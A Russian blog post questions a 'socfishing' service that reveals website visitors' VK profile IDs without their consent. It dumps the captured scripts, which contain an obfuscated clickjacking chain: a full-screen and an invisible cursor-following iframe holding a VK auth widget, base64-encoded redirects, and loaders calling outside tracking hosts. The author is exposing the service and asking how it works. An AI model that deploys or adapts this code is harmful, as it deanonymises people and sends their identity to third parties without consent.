Теперь любой сайт может узнать адрес вашей страницы в VK?

в 17:29, , рубрики: javascript, security, xss, безопасность, безопасность в сети, Вконтакте, персональные данные, уязвимости

Наткнулся на сервис позволяющий разместить на своём сайте js-код, который определяет ID посетителя без авторизации. Пользователь об этом совершенно не догадывается, т.к. определение ID происходит при загрузке любой страницы сайта без всяких вопросов об авторизации.

Для маркетинга это открывает широкие возможности, но никак не вписывается в мои представления о безопасной передаче персональных данных.

Т.е. например, допустим, занесло вас на какой-то порно-сайт, а через полминуты в контакте бот пишет вам в ЛС или на стене предложение приобрести рекомендуемый именно вам товар или услугу в соответствии с разделами, которые вы посещали на сайте, или в соответствии с поисковыми запросами, через которые вы попали на этот сайт.

Любой сайт после установки этого шпионского скрипта, будет знать о своих посетителях почти всё, в плоть до номера телефона, если он указан. Понятно что пользователи сами несут ответственность за то, какие данные они выкладывают в публичный доступ, но заходя на сторонний сайт я не даю согласия на обработку моих персональных данных.

Создатели сервиса утверждают: «Никакого взлома или иных противоправных действий сервис не осуществляет. Мы идентифицируем заходящего человека и накапливаем открытую информацию.». Но я считаю незаконным сам факт идентифицикации. Поправьте меня если я не прав.

Ретаргетинг вконтакте работает похожим образом, но он не даёт доступ к профилям попавшим в группу ретаргетинга.

Может найдётся кто-то среди хабра-специалистов по вэб-безопасности кто сможет осветить эту тему в деталях?

Ссылку на сам сервис найти не сложно. Вопрос в другом: как вообще это стало возможно в таких масштабах?

Поковырял код, но мало что понял. Какая-то xss-магия с фреймами.

function _SFLoad(i, u) {
    setTimeout(function() {
        var d = document;
        f = d.getElementsByTagName('script')[0];
        s = d.createElement('script');
        h = escape(d.referrer);
        s.type = 'text/javascript';
        s.async = true;
        s.src = u + "?id=" + i + "&h=" + h + "&r=" + Math.random();
        f.parentNode.insertBefore(s, f);
    }, 1);
}
_SFLoad('e2a918d41d8cd92109706323', '//socgate.ru/strack/');


//Request URL: http://socgate.ru/strack/?id=e2a918d41d8cd92109706323&h=&r=0.5261518063489348
 function console_out(str) {
     console.log("SFLog: " + str);
 }
 console_out("loader v0.3");
 console_out("1947");
 console_out("9213");
 console_out("9811");
 console_out("7314");
 console_out("5745");
 console_out("5848");
 console_out("7372");
 console_out("6521");
 console_out("2262");
 console_out("9673");
 console_out("8312");
 (function() {
     var c = "noindex";
     var _0x5e2b = ["x67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65", "x72x65x6Dx6Fx76x65x43x68x69x6Cx64", "x70x61x72x65x6Ex74x4Ex6Fx64x65", "x6Cx65x6Ex67x74x68"];
     setTimeout(function() {
         var _0x5525x1 = document[_0x5e2b[0]](c);
         while (_0x5525x1[_0x5e2b[3]]) {
             _0x5525x1[0][_0x5e2b[2]][_0x5e2b[1]](_0x5525x1[0]);
         };
     }, 50);
     eval(_0x5e2b);
 }());
 if (navigator.userAgent.match("Android|BackBerry|phone|iPad|iPod|IEMobile|Nokia|Mobile|MSIE|iPhone|webOS|Windows Phone|Explorer|Trident")) {
     mnoload = false;
     console_out('7422');
 } else {
     mnoload = true;
     console_out('9418');
 }
 isSafari = !!navigator.userAgent.match(/Version/[d.]+.*Safari/);
 if (isSafari) {
     mnoload = false;
     console_out('5743');
 }
 if (!navigator.cookieEnabled) {
     mnoload = false;
 }

 function are_cookies_enabled() {
     var cookieEnabled = (navigator.cookieEnabled) ? true : false;
     if (typeof navigator.cookieEnabled == "undefined" && !cookieEnabled) {
         document.cookie = "sfload";
         cookieEnabled = (document.cookie.indexOf("sfload") != -1) ? true : false;
     }
     return (cookieEnabled);
 }

 if (!are_cookies_enabled()) {
     mnoload = false;
 }

 iframe_url = 'data:text/html;charset=utf-8;base64,PCEtLSBzb2NmaXNoaW5nIHJlbG9hZCAtLT48bWV0YSBuYW1lPSJyb2JvdHMiIGNvbnRlbnQ9Im5vZm9sbG93IiAvPjxzY3JpcHQgYXN5bmM+IGlmKCIiIT13aW5kb3cucmVmZXJyZXIpIHsgY29uc29sZS5sb2coIlNGTG9nOiA5MDE0Iik7IHdpbmRvdy5sb2NhdGlvbi5ocmVmPSJodHRwczovL3Vjb3otaG9zdC5ydS9zaXRlaGlqYWNrLz91PTgxN2E3NWNkZmZlYTU2ZjA5MDYxODZhODMwOTAyZDE0ZjNlZWQwY2VmMDdiMTJiYzg1MmZiOWU2ZWQ3NWUwODUmaG9zdD1kYjZmMzhkY2Y3ZjE0ZWIxYzkzMGQ5ZjE3YjlkNzU0ZGYwZjVjMGRlJnVpZD1hNjY1Y2Y1OTNiMGMzNDY3ZWQzYmExZWU4NzRlMTVhZDE2NDBmZDUyNzI3MTc1MTk1MGE2Y2VjYmE1Njk4YTQ4MmFmZTI4MjU5ZDg2Y2QzMTY0ZTMxYzVkOGNmYTg4ZGFlYjkxMDQwY2E4ZTIwZjk1ODE0ZjI3NWE0ZGFiMGFiNzVjMWNlOWRiN2YyM2JhODBlMjBmZDI5Zjk4YTUxNDZiMmE5MGQ1ZGI4MDk0YjFlMmFkZjJhZmVlOGE0ODhkOTA3NDVlMDk2MGE4NDgzMCI7IH0gZWxzZSB7IHdpbmRvdy5sb2NhdGlvbi5ocmVmPSJkYXRhOnRleHQvaHRtbDtjaGFyc2V0PXV0Zi04O2Jhc2U2NCxQQ0V0TFNCVFJpQXRMVDQ4YzJOeWFYQjBQbU52Ym5OdmJHVXViRzluS0NkVFJreHZaem9nTlRJek1TY3BPM2RwYm1SdmR5NXNiMk5oZEdsdmJpNW9jbVZtUFNkb2RIUndjem92TDNOdlkyZGhkR1V1Y25VdmRISmhZMnN2ZG10ZmMyVnVaQzV3YUhBbk96d3ZjMk55YVhCMFBqd2hMUzBnVTBZZ0xTMCsiOyB9IDwvc2NyaXB0PjwhLS0gc29jZmlzaGluZyByZWxvYWQgLS0+';
 if (mnoload) {
     console_out('1388');
     document.oncontextmenu = new Function("return false;");

     var sf = document.createElement('div');
     sf.innerHTML = '<iframe src="' + iframe_url + '" name="SFrmload" id="SFrmload" frameborder="no" scrolling="no" allowtransparency style="position:fixed; top:0px; left:0px; bottom:0px; right:0px; width:100%; height:100%; border:none; margin:0; padding:0; filter:alpha(opacity=1); opacity:1; cursor: pointer; z-index:88888;" /></iframe>';
     (document.getElementsByTagName('html')[0] || document.body).appendChild(sf);
     sf = document.getElementById("SFrmload");
     sf.parent = undefined;
 }

 onmessage = function(evnt) {
     if (evnt.data == 'patched') {
         document.getElementById('SFrmload').style.visibility = "hidden";
         document.getElementById("SFrmload").style.height = "1px";
         document.getElementById("SFrmload").style.width = "1px";
         console_out('9949');
     }
 }

<!-- socfishing reload -->
<meta name="robots" content="nofollow" />
<script async> 
    if ("" != window.referrer) {
        console.log("SFLog: 9014");
        window.location.href = "https://ucoz-host.ru/sitehijack/?u=817a75cdffea56f0906186a830902d14f3eed0cef07b12bc852fb9e6ed75e085&host=db6f38dcf7f14eb1c930d9f17b9d754df0f5c0de&uid=a665cf593b0c3467ed3ba1ee874e15ad1640fd527271751950a6cecba5698a482afe28259d86cd3164e31c5d8cfa88daeb91040ca8e20f95814f275a4dab0ab75c1ce9db7f23ba80e20fd29f98a5146b2a90d5db8094b1e2adf2afee8a488d90745e0960a84830";
    } else {
        window.location.href = "data:text/html;charset=utf-8;base64,PCEtLSBTRiAtLT48c2NyaXB0PmNvbnNvbGUubG9nKCdTRkxvZzogNTIzMScpO3dpbmRvdy5sb2NhdGlvbi5ocmVmPSdodHRwczovL3NvY2dhdGUucnUvdHJhY2svdmtfc2VuZC5waHAnOzwvc2NyaXB0PjwhLS0gU0YgLS0+";
    }
</script><!-- socfishing reload -->


//Request URL:https://ucoz-host.ru/sitehijack/?u=817a75cdffea56f0906186a830902d14f3eed0cef07b12bc852fb9e6ed75e085&host=db6f38dcf7f14eb1c930d9f17b9d754df0f5c0de&uid=a665cf593b0c3467ed3ba1ee874e15ad1640fd527271751950a6cecba5698a482afe28259d86cd3164e31c5d8cfa88daeb91040ca8e20f95814f275a4dab0ab75c1ce9db7f23ba80e20fd29f98a5146b2a90d5db8094b1e2adf2afee8a488d90745e0960a84830
<html><head>
<style>* {margin:0;padding:0;cursor:pointer;} iframe {border: 0 !important;} #sfwgt{border: 0 !important;}</style>

 <script type="text/javascript"> function console_out(str) { console.log("SFLog: "+str); } </script>  <script> console_out("4125"); </script>  <script> console_out("8246"); </script> 
<script type="text/javascript">

function unframe() {
  console_out('7452',true);
  setTimeout('top.postMessage("patched", "http://socfishing.ru")', 50);
  //setTimeout('top.location.href="db6f38dcf7f14eb1c930d9f17b9d754df0f5c0de"', 1000);
}

var x, y;
var isFramed = false;
var furl = "data:text/html;charset=utf-8;base64,PCEtLSBTRiByZWxvYWQgLS0+PHNjcmlwdCBhc3luYz4gY29uc29sZS5sb2coIlNGTG9nOiA0MTUyIik7IHdpbmRvdy5sb2NhdGlvbi5ocmVmPSJodHRwczovL3Vjb3otaG9zdC5ydS9zaXRlaGlqYWNrL2FwcC8/dT0xNDA4NTQ5NzU4IjsgPC9zY3JpcHQ+";
var dmsg = "<div id='sfcontent' style='position:absolute; cursor: pointer;'><div id='sfh1' style='cursor: pointer;height: 3px;left: -2px;position: absolute;right: -2px;top: -2px;width: 14px;'></div><div id='sfh2' style='cursor: pointer;height: 3px;left: -2px; position: absolute;right: -2px;bottom: -2px;width: 14px;'></div><div id='sfh3' style='cursor: pointer;height: 14px;left: -2px;position: absolute;bottom: -2px; top: -2px;width: 3px;'></div><div id='sfh4' style='cursor: pointer;height: 14px;right: -2px;position: absolute;bottom: -2px;top: -2px;width: 3px;'></div><iframe id='SFhijack' src='"+furl+"' frameborder='no' scrolling='no' style='filter:alpha(opacity=0); opacity:0; width: 10px; height: 10px; cursor: pointer; border: 0px; border-width: 0px;'></iframe></div>";
document.oncontextmenu = new Function("return false;"); 
 
function handlerMM(e)
{
  x = (e)?e.pageX:document.body.scrollLeft + event.clientX;
  y = (e)?e.pageY:document.body.scrollTop + event.clientY;
  if ((x>0) && (y>0)) {
    document.getElementById("sfcontent").style.left = x-5; 
    document.getElementById("sfcontent").style.top = y-5;  
  }
}

var isFramed = false;
try {
  isFramed = window != window.top || document != top.document || self.location != top.location;
} catch (e) {
  isFramed = true;
}

if (isFramed)
{
  document.write(dmsg);
  document.onmousemove = handlerMM;
}
</script>

 
</head><body id="sfbody" onclick="unframe()" style="cursor: pointer;"></body>

<script type="text/javascript">
var uid = document.createElement('script');
  uid.type = 'text/javascript';
  uid.async = true;
  uid.src = 'data:text/html;charset=utf-8;base64,LyoganMgcmVsb2FkICovIHZhciB1aWQgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTsgdWlkLnR5cGUgPSAndGV4dC9qYXZhc2NyaXB0JzsgdWlkLmFzeW5jID0gdHJ1ZTsgdWlkLnNyYyA9ICdodHRwOi8vdGFyZ2V0LmltL3VpZC8/dG89YTY2NWNmNTkzYjBjMzQ2N2VkM2JhMWVlODc0ZTE1YWQxNjQwZmQ1MjcyNzE3NTE5NTBhNmNlY2JhNTY5OGE0ODJhZmUyODI1OWQ4NmNkMzE2NGUzMWM1ZDhjZmE4OGRhZWI5MTA0MGNhOGUyMGY5NTgxNGYyNzVhNGRhYjBhYjc1YzFjZTlkYjdmMjNiYTgwZTIwZmQyOWY5OGE1MTQ2YjJhOTBkNWRiODA5NGIxZTJhZGYyYWZlZThhNDg4ZDkwNzQ1ZTA5NjBhODQ4MzAmZmlsZT1kZXYuanMnOyBkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHVpZCk7IA==';
  document.body.appendChild(uid);
</script>  

</html>

////
<!-- SF reload --><script async> console.log("SFLog: 4152"); window.location.href="https://ucoz-host.ru/sitehijack/app/?u=1408549758"; </script>

////
/* js reload */
var uid = document.createElement('script');
uid.type = 'text/javascript';
uid.async = true;
uid.src = 'http://target.im/uid/?to=a665cf593b0c3467ed3ba1ee874e15ad1640fd527271751950a6cecba5698a482afe28259d86cd3164e31c5d8cfa88daeb91040ca8e20f95814f275a4dab0ab75c1ce9db7f23ba80e20fd29f98a5146b2a90d5db8094b1e2adf2afee8a488d90745e0960a84830&file=dev.js';
document.body.appendChild(uid);

//Request URL:https://ucoz-host.ru/sitehijack/app/?u=1408549758
<html><style>* { margin: 0; padding: 0; }</style>
 <script type="text/javascript"> function console_out(str) { console.log("SFLog: "+str); } </script>  <script> console_out("8924"); </script> <body>
<strike><script type="text/javascript" src="oapi.php?s=1734885626"></script></strike>
<div id="sfwgtload" style="overflow:hidden;margin-top:-80px;margin-left:-30px;max-height:95px;max-width:40px;cursor: pointer;">
<div id="oauth" style="max-height: 300px;min-height: 95px;height: 30px;width: 30px;z-index:88888;cursor: pointer;"></div></div> 
<strike><script type="text/javascript" src="data:text/javascript;charset=utf-8;base64,VksuV2lkZ2V0cy5BdXRoKCJvYXV0aCIsIHt3aWR0aDogIjMwMHB4Iiwgb25BdXRoOiBmdW5jdGlvbihkYXRhKSB7fSB9KTs="></script></strike>
<strike><script>
    (function() {
        var c = "strike";
        var _0x5e2b = ["x67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65", "x72x65x6Dx6Fx76x65x43x68x69x6Cx64", "x70x61x72x65x6Ex74x4Ex6Fx64x65", "x6Cx65x6Ex67x74x68"];
        setTimeout(function() {
            var _0x5525x1 = document[_0x5e2b[0]](c);
            while (_0x5525x1[_0x5e2b[3]]) {
                _0x5525x1[0][_0x5e2b[2]][_0x5e2b[1]](_0x5525x1[0]);
            };
        }, 50);
        eval(_0x5e2b);
    }());
</script></strike>
</body>
</html>

//Request URL:https://ucoz-host.ru/sitehijack/app/oapi.php?s=1734885626
 function console_out(str) {
     console.log("SFLog: " + str);
 }
 console_out("5231");
 console_out("2351");
 console_out("4151");
 /* 

         hijack reload
                    
                            */
 (function(w) {
         if (w.fastXDM) return;
         document.oncontextmenu = function() {
             return false;
         };
         var handlers = {};
         var onEnvLoad = [];
         var env = {};
...

Далее идут запросы к vk.com
//Request URL:https://vk.com/widget_auth.php?app=4296904&width=300px&_ver=1&url=https%3A%2F%2Fucoz.ru&147f41b5b77
//Request URL:https://vk.com/js/common.js?306
//Request URL:https://vk.com/js/api/xdm.js?8
//Request URL:https://vk.com/js/api/widgets/auth.js?11
//Request URL:https://vk.com/js/simpleajax.js?78

Автор: aoberon

Источник

  1. Developer:

    Действительно интересно, но к сожалению не понятна вообще ни какая логика.

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js